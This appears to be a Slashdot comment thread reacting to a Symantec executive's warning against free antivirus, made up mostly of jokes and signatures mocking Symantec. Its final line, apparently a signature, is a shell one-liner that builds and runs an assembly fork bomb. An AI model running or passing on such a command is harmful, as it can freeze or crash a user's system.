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Symantec Exec Warns Against Relying On Free Antivirus
thefickler writes "Clearly, the rise of free antivirus is starting to worry Symantec, with one of their top executives warning consumers not to rely on free antivirus software (including Microsoft's Security Essentials). 'If you are only relying on free antivirus to offer you protection in this modern age, you are not getting the protection you need to be able to stay clean and have a reasonable chance of avoiding identity theft,' said David Hall, a Product Manager for Symantec. According to Hall, there is a widening gap between people's understanding of what protection they need and the threats they're actually facing."
Microsoft warns against free operating systems. "They're so inferior! Look at ours, it runs the London Stock Exchange...oh wait."
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BMO
they would know since they are the major malware authors. Duh.
As the island of our knowledge grows, so does the shore of our ignorance.
I'll buy that, its not like Bananas grow on trees.
I use an OSS solution that's quite effective, it's called Linux...
And Sony exec says all the movies on TPB are horrible quality. Ubisoft claims playing cracked games can cause skin rashes and your nuts to fall off.
You are welcome on my lawn.
WTF man. You actually get viruses often enough on your personal system and your mom's system that you can draw comparisons?
I think you are doing something horribly wrong. I haven't had a virus in 15 years or so.
I've had enough abrasive sigs. Kittens are cute and fuzzy.
two criteria:
a) If made by Norton, Symantec, or is sold at PC World, I wouldn't touch it with a barge-pole.
b) If it costs money, I won't touch it with a barge-pole.
c) It I install it, and it sucks, it goes out.
I have a large stock of unused barge-poles, please see my e-bay shop.
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I agree, all free antivirus sucks, so does all paid for software. However there is a magical amulet which will protect you from all computer attacks, I happen to be selling these items for a very reasonable price.
c) It I install it, and it sucks, it goes out.
You obviously never tried to uninstall Norton Antivirus. :)
Although, I have to admit, their product improved considerably over the last 2 years. Instead of just saying "They got a really good looking box" (because I should not say anything bad about them), I can now also say "and you can easily get rid of them now too!"
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
So what this means is that the McAfee antivirus is so thorough it even finds trojans and viruses that MS ships. Symantec's product manager is right!
Apple has "Mac vs PC", Microsoft has "Laptop Hunters", Linux has recession
I once wrote a program to allocate every byte of free memory and consume every CPU cycle and I got a cease and desist letter from Symantec. Apparently I was infringing on a patent in NAV...
Any insufficiently advanced magic is indistinguishable from technology.
but that's what he goes on to explain later. He says: "What you need is a pre-emptive strike. Fight fire with fire! Install one of our products and we'll break your computer until it's in an unusuable state. I'd like to see you catch a virus when your internet doesn't work and your computer takes 10 minutes to boot."
Google's Super Secret Search Algorithm: SELECT @search_results FROM internet WHERE @search_results = 'good'
You have to admit that taking down the Windows network stack does mean your endpoints are indeed protected. At least the ones on your PC.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;